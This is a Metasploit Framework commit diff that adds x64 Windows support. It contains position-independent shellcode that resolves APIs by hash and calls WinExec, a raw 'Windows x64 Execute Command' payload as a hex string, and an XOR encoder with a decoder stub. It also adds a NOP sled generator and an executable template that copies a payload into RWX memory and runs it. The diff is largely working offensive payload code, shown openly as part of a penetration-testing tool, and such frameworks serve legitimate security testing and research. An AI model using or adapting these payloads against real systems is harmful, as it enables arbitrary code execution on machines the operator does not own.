Merge in the beginnings of x64 support from Stephen Fewer

git-svn-id: file:///home/svn/framework3/trunk@6972 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2009-08-23 23:47:33 +00:00
parent b39742446a
commit cf10a62dcc
17 changed files with 636 additions and 14 deletions

View File

@ -0,0 +1,32 @@
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Architecture: x64
;
; Assemble and link with the following command:
; "C:\Program Files\Microsoft Visual Studio 9.0\VC\bin\x86_amd64\ml64" template_x64_windows.asm /link /subsystem:windows /defaultlib:"C:\Program Files\Microsoft SDKs\Windows\v6.0A\Lib\x64\kernel32.lib" /entry:main
extrn ExitProcess : proc
extrn VirtualAlloc : proc
.code
main proc
sub rsp, 40 ;
mov r9, 40h ;
mov r8, 3000h ;
mov rdx, 4096 ;
xor rcx, rcx ;
call VirtualAlloc ; lpPayload = VirtualAlloc( NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE );
mov rcx, 4096 ;
mov rsi, payload ;
mov rdi, rax ;
rep movsb ; memcpy( lpPayload, payload, 4096 );
call rax ; lpPayload();
xor rcx, rcx ;
call ExitProcess ; ExitProcess( 0 );
main endp
payload proc
A byte 'PAYLOAD:'
B db 4096-8 dup ( 'A' )
payload endp
end

Binary file not shown.

View File

@ -0,0 +1,108 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2003
; Architecture: x64
; Size: 192 bytes
;-----------------------------------------------------------------------------;
[BITS 64]
; Windows x64 calling convention:
; http://msdn.microsoft.com/en-us/library/9b372w95.aspx
; Input: The hash of the API to call in r10d and all its parameters (rcx/rdx/r8/r9/any stack params)
; Output: The return value from the API call will be in RAX.
; Clobbers: RAX, RCX, RDX, R8, R9, R10, R11
; Un-Clobbered: RBX, RSI, RDI, RBP, R12, R13, R14, R15.
; RSP will be off by -40 hence the 'add rsp, 40' after each call to this function
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.
api_call:
push r9 ; Save the 4th parameter
push r8 ; Save the 3rd parameter
push rdx ; Save the 2nd parameter
push rcx ; Save the 1st parameter
push rsi ; Save RSI
xor rdx, rdx ; Zero rdx
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
mov rdx, [rdx+24] ; Get PEB->Ldr
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
xor r9, r9 ; Clear r9 which will store the hash of the module name
loop_modname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
loop loop_modname ; Loop untill we have read enough
; We now have the module hash computed
push rdx ; Save the current position in the module list for later
push r9 ; Save the current module hash for later
; Proceed to itterate the export address table,
mov rdx, [rdx+32] ; Get this modules base address
mov eax, dword [rdx+60] ; Get PE header
add rax, rdx ; Add the modules base address
mov eax, dword [rax+136] ; Get export tables RVA
test rax, rax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add rax, rdx ; Add the modules base address
push rax ; Save the current modules EAT
mov ecx, dword [rax+24] ; Get the number of function names
mov r8d, dword [rax+32] ; Get the rva of the function names
add r8, rdx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec rcx ; Decrement the function name counter
mov esi, dword [r8+rcx*4]; Get rva of next module name
add rsi, rdx ; Add the modules base address
xor r9, r9 ; Clear r9 which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the ASCII function name
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add r9, [rsp+8] ; Add the current module hash to the function hash
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop rax ; Restore the current modules EAT
mov r8d, dword [rax+36] ; Get the ordinal table rva
add r8, rdx ; Add the modules base address
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
mov r8d, dword [rax+28] ; Get the function addresses table rva
add r8, rdx ; Add the modules base address
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
add rax, rdx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the drsired function...
finish:
pop r8 ; Clear off the current modules hash
pop r8 ; Clear off the current position in the module list
pop rsi ; Restore RSI
pop rcx ; Restore the 1st parameter
pop rdx ; Restore the 2nd parameter
pop r8 ; Restore the 3rd parameter
pop r9 ; Restore the 4th parameter
pop r10 ; pop off the return address
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
push r10 ; push back the return address
jmp rax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop rax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop r9 ; Pop off the current (now the previous) modules hash
pop rdx ; Restore our position in the module list
mov rdx, [rdx] ; Get the next module
jmp next_mod ; Process this module

View File

@ -0,0 +1,24 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2003
; Architecture: x64
; Size: 263 + strlen(command) + 1
;-----------------------------------------------------------------------------;
[BITS 64]
[ORG 0]
cld ; Clear the direction flag.
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
%include "./src/block/block_api.asm"
start: ;
pop rbp ; Pop off the address of 'api_call' for calling later.
mov rdx, 1
lea rcx, [rbp+command-delta]
mov r10d, 0x876F8B31 ; hash( "kernel32.dll", "WinExec" )
call rbp ; WinExec( &command, 1 );
; Finish up with the EXITFUNK.
%include "./src/block/block_exitfunk.asm"
command:
;db "calc", 0

View File

@ -549,7 +549,7 @@ protected
# Returns the list of bad keys associated with this encoder.
#
def find_bad_keys(buf, badchars)
return [ {}, {}, {}, {} ]
return Array.new( decoder_key_size, {} )
end
#

View File

@ -11,14 +11,21 @@ class Msf::Encoder::Xor < Msf::Encoder
# Encodes a block using the XOR encoder from the Rex library.
#
def encode_block(state, block)
Rex::Encoding::Xor::Dword.encode(block, [ state.key ].pack(state.decoder_key_pack))[0]
encoder = case state.decoder_key_size
when Rex::Encoding::Xor::Qword.keysize then Rex::Encoding::Xor::Qword
when Rex::Encoding::Xor::Dword.keysize then Rex::Encoding::Xor::Dword
when Rex::Encoding::Xor::Word.keysize then Rex::Encoding::Xor::Word
when Rex::Encoding::Xor::Byte.keysize then Rex::Encoding::Xor::Byte
else Rex::Encoding::Xor::Dword
end
encoder.encode(block, [ state.key ].pack(state.decoder_key_pack))[0]
end
#
# Finds keys that are incompatible with the supplied bad character list.
#
def find_bad_keys(buf, badchars)
bad_keys = [ {}, {}, {}, {} ]
bad_keys = Array.new( decoder_key_size, {} )
byte_idx = 0
# Scan through all the badchars and build out the bad_keys array

View File

@ -27,19 +27,32 @@ module Msf::Payload::Windows
# payloads.
#
def initialize(info = {})
if (info['Alias'])
info['Alias'] = 'windows/' + info['Alias']
end
ret = super( info )
# All windows payload hint that the stack must be aligned to nop
# generators and encoders.
super(merge_info(info,
'SaveRegisters' => [ 'esp' ]))
if( info['Arch'] == ARCH_X86_64 )
if( info['Alias'] )
info['Alias'] = 'windows/x64/' + info['Alias']
end
merge_info( info, 'SaveRegisters' => [ 'rsp' ] )
elsif( info['Arch'] == ARCH_X86 )
if( info['Alias'] )
info['Alias'] = 'windows/' + info['Alias']
end
merge_info( info, 'SaveRegisters' => [ 'esp' ] )
end
#if (info['Alias'])
# info['Alias'] = 'windows/' + info['Alias']
#end
register_options(
[
Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'thread' ])
], Msf::Payload::Windows)
], Msf::Payload::Windows )
ret
end
#

View File

@ -37,7 +37,13 @@ class EXE
# XXX: Add remaining x86 systems here
end
if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) )
if (plat.index(Msf::Module::Platform::Windows))
return to_win64pe(framework, code)
end
end
if(arch.index(ARCH_ARMLE))
if(plat.index(Msf::Module::Platform::OSX))
return to_osx_arm_macho(framework, code)
@ -91,6 +97,19 @@ class EXE
return pe
end
def self.to_win64pe(framework, code)
pe = ''
fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x64_windows.exe"), "rb")
pe = fd.read(fd.stat.size)
fd.close
bo = pe.index('PAYLOAD:')
pe[bo,2048] = [code].pack('a2048') if bo
return pe
end
def self.to_win32pe_service(framework, code, name='SERVICENAME')
pe = ''

View File

@ -37,6 +37,8 @@ module Arch
case arch
when ARCH_X86
[addr].pack('V')
when ARCH_X86_64
[addr].pack('Q')
when ARCH_MIPS # ambiguous
[addr].pack('N')
when ARCH_MIPSBE
@ -66,6 +68,8 @@ module Arch
case arch
when ARCH_X86
return ENDIAN_LITTLE
when ARCH_X86_64
return ENDIAN_LITTLE
when ARCH_MIPS # ambiguous
return ENDIAN_BIG
when ARCH_MIPSLE

View File

@ -66,6 +66,7 @@ LEV_3 = 3
ARCH_ANY = '_any_'
ARCH_X86 = 'x86'
ARCH_X86_64 = 'x86_64'
ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64
ARCH_MIPS = 'mips'
ARCH_MIPSLE = 'mipsle'
ARCH_MIPSBE = 'mipsbe'

View File

@ -16,4 +16,5 @@ end end end
require 'rex/encoding/xor/generic'
require 'rex/encoding/xor/byte'
require 'rex/encoding/xor/word'
require 'rex/encoding/xor/dword'
require 'rex/encoding/xor/dword'
require 'rex/encoding/xor/qword'

View File

@ -0,0 +1,15 @@
#!/usr/bin/env ruby
require 'rex/encoding/xor/generic'
module Rex
module Encoding
module Xor
class Qword < Generic
def Qword.keysize
8
end
end end end end

View File

@ -570,6 +570,7 @@ module Text
# XXX: depends on the Msf code being loaded, not just Rex
def self.to_executable(arch, plat, code, note='')
if (arch.index(ARCH_X86))
if (plat.index(Msf::Module::Platform::Windows))
@ -586,7 +587,13 @@ module Text
# XXX: Add remaining x86 systems here
end
if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) )
if (plat.index(Msf::Module::Platform::Windows))
return Rex::Text.to_win64pe(code, note)
end
end
if(arch.index(ARCH_ARMLE))
if(plat.index(Msf::Module::Platform::OSX))
return Rex::Text.to_osx_arm_macho(code, note)
@ -625,7 +632,20 @@ module Text
return pe
end
def self.to_win64pe(code = "\xcc", note="")
pe = ''
fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "data", "templates", "template_x64_windows.exe"), "rb")
pe = fd.read(fd.stat.size)
fd.close
bo = pe.index('PAYLOAD:')
pe[bo, 2048] = [code].pack('a2048') if bo
return pe
end
def self.to_win32pe_service(code = "\xcc", name="SERVICENAME")
pe = ''

View File

@ -0,0 +1,53 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Encoder::Xor
def initialize
super(
'Name' => 'XOR Encoder',
'Version' => '$Revision$',
'Description' => 'An x64 XOR encoder. Uses an 8 byte key and takes advantage of x64 relative addressing.',
'Author' => [ 'Stephen Fewer <stephen_fewer[at]harmonysecurity[dot]com>' ],
'Arch' => ARCH_X86_64,
'License' => MSF_LICENSE,
'Decoder' =>
{
'KeySize' => 8,
'KeyPack' => 'Q',
'BlockSize' => 8,
}
)
end
def decoder_stub( state )
# calculate the (negative) block count . We should check this against state.badchars.
block_count = [-( ( (state.buf.length - 1) / state.decoder_key_size) + 1)].pack( "V" )
decoder = "\x48\x31\xC9" + # xor rcx, rcx
"\x48\x81\xE9" + block_count + # sub ecx, block_count
"\x48\x8D\x05\xEF\xFF\xFF\xFF" + # lea rax, [rel 0x0]
"\x48\xBBXXXXXXXX" + # mov rbx, 0x????????????????
"\x48\x31\x58\x27" + # xor [rax+0x27], rbx
"\x48\x2D\xF8\xFF\xFF\xFF" + # sub rax, -8
"\xE2\xF4" # loop 0x1B
state.decoder_key_offset = decoder.index( 'XXXXXXXX' )
return decoder
end
end

257
modules/nops/x64/simple.rb Normal file
View File

@ -0,0 +1,257 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Nop
def initialize
super(
'Name' => 'Simple',
'Alias' => 'x64_simple',
'Version' => '$Revision$',
'Description' => 'An x64 single/multi byte NOP instruction generator.',
'Author' => [ 'Stephen Fewer <stephen_fewer[at]harmonysecurity[dot]com>' ],
'License' => MSF_LICENSE,
'Arch' => ARCH_X86_64 )
register_advanced_options( [ OptBool.new( 'RandomNops', [ false, "Generate a random NOP sled", true ] ) ], self.class )
register_advanced_options( [ OptBool.new( 'MultiByte', [ false, "Generate a multi byte instruction NOP sled", false ] ) ], self.class )
end
# This instruction list is far from complete (Only single byte instructions and some multi byte ADD/MOV instructions are used).
# A more complete list might warrent an pseudo assembler (Rex::Arch::X64) instead of hardcoding these.
INSTRUCTIONS = [ [ "\x90", 0, "nop" ],
[ "\x91", 0, "xchg eax, ecx" ],
[ "\x92", 0, "xchg eax, edx" ],
[ "\x93", 0, "xchg eax, ebx" ],
[ "\x94", 0, "xchg eax, esp" ],
[ "\x95", 0, "xchg eax, ebp" ],
[ "\x96", 0, "xchg eax, esi" ],
[ "\x97", 0, "xchg eax, edi" ],
[ "\x98", 0, "cwde" ],
[ "\x99", 0, "cdq" ],
[ "\x9B", 0, "wait" ],
[ "\x9C", 0, "pushfq" ],
[ "\x9D", 0, "popfq" ],
[ "\x9E", 0, "sahf" ],
[ "\x9F", 0, "lahf" ],
[ "\xFC", 0, "cld" ],
[ "\xFD", 0, "std" ],
[ "\xF8", 0, "clc" ],
[ "\xF9", 0, "cmc" ],
[ "\x50", 0, "push rax" ],
[ "\x51", 0, "push rcx" ],
[ "\x52", 0, "push rdx" ],
[ "\x53", 0, "push rbx" ],
[ "\x54", 0, "push rsp" ],
[ "\x55", 0, "push rbp" ],
[ "\x56", 0, "push rsi" ],
[ "\x57", 0, "push rdi" ],
[ "\x58", 0, "pop rax" ],
[ "\x59", 0, "pop rcx" ],
[ "\x5A", 0, "pop rdx" ],
[ "\x5B", 0, "pop rbx" ],
[ "\x5C", 0, "pop rsp" ],
[ "\x5D", 0, "pop rbp" ],
[ "\x5E", 0, "pop rsi" ],
[ "\x5F", 0, "pop rdi" ],
[ "\x04", 1, "add al, 0x??" ],
[ "\x80\xC3", 1, "add bl, 0x??" ],
[ "\x80\xC1", 1, "add cl, 0x??" ],
[ "\x80\xC2", 1, "add dl, 0x??" ],
[ "\x80\xC4", 1, "add ah, 0x??" ],
[ "\x80\xC7", 1, "add bh, 0x??" ],
[ "\x80\xC5", 1, "add ch, 0x??" ],
[ "\x80\xC6", 1, "add dh, 0x??" ],
[ "\x66\x05", 2, "add ax, 0x????" ],
[ "\x66\x81\xC3", 2, "add bx, 0x????" ],
[ "\x66\x81\xC1", 2, "add cx, 0x????" ],
[ "\x66\x81\xC2", 2, "add dx, 0x????" ],
[ "\x66\x81\xC6", 2, "add si, 0x????" ],
[ "\x66\x81\xC7", 2, "add di, 0x????" ],
[ "\x66\x41\x81\xC0", 2, "add r8w, 0x????" ],
[ "\x66\x41\x81\xC1", 2, "add r9w, 0x????" ],
[ "\x66\x41\x81\xC2", 2, "add r10w, 0x????" ],
[ "\x66\x41\x81\xC3", 2, "add r11w, 0x????" ],
[ "\x66\x41\x81\xC4", 2, "add r12w, 0x????" ],
[ "\x66\x41\x81\xC5", 2, "add r13w, 0x????" ],
[ "\x66\x41\x81\xC6", 2, "add r14w, 0x????" ],
[ "\x66\x41\x81\xC7", 2, "add r15w, 0x????" ],
[ "\x05", 4, "add eax, 0x????????" ],
[ "\x81\xC3", 4, "add ebx, 0x????????" ],
[ "\x81\xC1", 4, "add ecx, 0x????????" ],
[ "\x81\xC2", 4, "add edx, 0x????????" ],
[ "\x81\xC6", 4, "add esi, 0x????????" ],
[ "\x81\xC7", 4, "add edi, 0x????????" ],
[ "\x41\x81\xC0", 4, "add r8d, 0x????????" ],
[ "\x41\x81\xC1", 4, "add r9d, 0x????????" ],
[ "\x41\x81\xC2", 4, "add r10d, 0x????????" ],
[ "\x41\x81\xC3", 4, "add r11d, 0x????????" ],
[ "\x41\x81\xC4", 4, "add r12d, 0x????????" ],
[ "\x41\x81\xC5", 4, "add r13d, 0x????????" ],
[ "\x41\x81\xC6", 4, "add r14d, 0x????????" ],
[ "\x41\x81\xC7", 4, "add r15d, 0x????????" ],
[ "\x48\xB8", 8, "mov rax, 0x????????????????" ],
[ "\x48\xBB", 8, "mov rbx, 0x????????????????" ],
[ "\x48\xB9", 8, "mov rcx, 0x????????????????" ],
[ "\x48\xBA", 8, "mov rdx, 0x????????????????" ],
[ "\x48\xBE", 8, "mov rsi, 0x????????????????" ],
[ "\x48\xBF", 8, "mov rdi, 0x????????????????" ],
[ "\x49\xB8", 8, "mov r8, 0x????????????????" ],
[ "\x49\xB9", 8, "mov r8, 0x????????????????" ],
[ "\x49\xBA", 8, "mov r10, 0x????????????????" ],
[ "\x49\xBB", 8, "mov r11, 0x????????????????" ],
[ "\x49\xBC", 8, "mov r12, 0x????????????????" ],
[ "\x49\xBD", 8, "mov r13, 0x????????????????" ],
[ "\x49\xBE", 8, "mov r14, 0x????????????????" ],
[ "\x49\xBF", 8, "mov r15, 0x????????????????" ],
]
I_OP = 0
I_SIZE = 1
I_TEXT = 2
REGISTERS = [ [ "rsp", "esp", "sp" ],
[ "rbp", "ebp", "bp" ],
[ "rax", "eax", "ax", "al", "ah" ],
[ "rbx", "ebx", "bx", "bl", "bh" ],
[ "rcx", "ecx", "cx", "cl", "ch" ],
[ "rdx", "edx", "dx", "dl", "dh" ],
[ "rsi", "esi", "si" ],
[ "rdi", "edi", "di" ],
[ "r8", "r8d", "r8w", "r8b" ],
[ "r9", "r9d", "r9w", "r9b" ],
[ "r10", "r10d", "r10w", "r10b" ],
[ "r11", "r11d", "r11w", "r11b" ],
[ "r12", "r12d", "r12w", "r12b" ],
[ "r13", "r13d", "r13w", "r13b" ],
[ "r14", "r14d", "r14w", "r14b" ],
[ "r15", "r15d", "r15w", "r15b" ],
]
def generate_random_sled( length, instructions, badchars, badregs )
opcodes_stack = []
total_size = 0
sled = ''
try_count = 0
good_bytes = []
# Fixup SaveRegisters so for example, if we wish to preserve RSP we also should also preserve ESP and SP
REGISTERS.each { | reg | reg.each { |x| badregs += reg if badregs.include?( x ) } }
badregs = badregs.uniq()
# If we are preserving RSP we should avoid all PUSH/POP instructions...
if badregs.include?( "rsp" )
badregs.push( 'push' )
badregs.push( 'pop' )
end
# Loop while we still have bytes to fill in the sled...
while true
# Pick a random instruction and see if we can use it...
instruction = instructions[ rand(instructions.length) ]
# Avoid using any bad mnemonics/registers...
try_another = false
badregs.each do | bad |
try_another = true if instruction[I_TEXT].include?( bad.downcase() )
break if try_another
end
next if try_another
# Get the first bytes of the chosed instructions opcodes...
opcodes = instruction[I_OP]
# If their are additional bytes to append, do it now...
1.upto( instruction[I_SIZE] ) do | i |
opcodes += Rex::Text.rand_char( badchars )
end
# If we have gone over the requested sled length, try again.
if total_size + opcodes.length > length
try_count -= 1
# If we have tried unsuccessfully 32 times we start unwinding the chosen opcode_stack to speed things up
if try_count == 0
pop_count = 4
while opcodes_stack.length and pop_count
total_size -= opcodes_stack.pop().length
pop_count -= 1
end
end
next
end
# Reset the try_count for the next itteration.
try_count = 32
# save the opcodes we just generated.
opcodes_stack.push( opcodes )
# Increment the total size appropriately.
total_size += opcodes.length
# Once we have generated the requested amount of bytes we can finish.
break if total_size == length
end
# Now that we have chosen all the instructions to use we must generate the actual sled.
opcodes_stack.each do | opcodes |
sled += opcodes
end
return sled
end
def generate_sled( length, opts )
badchars = opts['BadChars'] || ''
random = opts['Random'] || datastore['RandomNops']
badregs = opts['SaveRegisters'] || []
good_instructions = []
sled = ''
# Weed out any instructions which will contain a bad char/instruction...
INSTRUCTIONS.each do | instruction |
good = true;
# If the instruction contains some bad chars we wont use it...
badchars.each do | bc |
if instruction[I_OP].include?( bc )
good = false
break
end
end
# if we are only to generate single byte instructions, weed out the multi byte ones...
good = false if instruction[I_SIZE] > 0 and not datastore['MultiByte']
good_instructions.push( instruction ) if good
end
# After we have pruned the instruction list we can proceed to generate a sled...
if good_instructions.empty?
# If we are left with no valid instructions to use we simple cant generate a sled.
sled = nil
elsif not random
if not badchars.include?( "\x90" )
sled += "\x90" * length
else
sled = nil
end
else
sled += generate_random_sled( length, good_instructions, badchars, badregs )
end
return sled
end
end

View File

@ -0,0 +1,67 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
module Metasploit3
include Msf::Payload::Windows
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows x64 Execute Command',
'Version' => '$Revision$',
'Description' => 'Execute an arbitrary command (Windows x64)',
'Author' => [ 'Stephen Fewer <stephen_fewer[at]harmonysecurity[dot]com>' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86_64,
'Payload' =>
{
'Offsets' =>
{
'EXITFUNC' => [ 229, 'V' ]
},
'Payload' =>
"\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51" +
"\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" +
"\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" +
"\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88" +
"\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44" +
"\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48" +
"\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1" +
"\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44" +
"\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49" +
"\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A" +
"\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41" +
"\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x48\xBA\x01\x00\x00" +
"\x00\x00\x00\x00\x00\x48\x8D\x8D\x01\x01\x00\x00\x41\xBA\x31\x8B" +
"\x6F\x87\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x41\xBA\xA6\x95\xBD\x9D\xFF" +
"\xD5\x48\x83\xC4\x28\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47" +
"\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5"
}
))
register_options( [ OptString.new('CMD', [ true, "The command string to execute" ]), ], self.class )
end
def generate
return super + command_string + "\x00"
end
def command_string
return datastore['CMD'] || ''
end
end

View File

@ -191,14 +191,15 @@ case cmd
case fmt
when 'exe'
exe = Msf::Util::EXE.to_win32pe($framework, raw)
exe = Msf::Util::EXE.to_win32pe($framework, raw) if arch.index( ARCH_X86 )
exe = Msf::Util::EXE.to_win64pe($framework, raw) if arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )
if(not output)
$stdout.write(exe)
else
File.open(output, "wb") do |fd|
fd.write(exe)
end
end
end
when 'elf'
elf = Msf::Util::EXE.to_linux_x86_elf($framework, raw)
if(not output)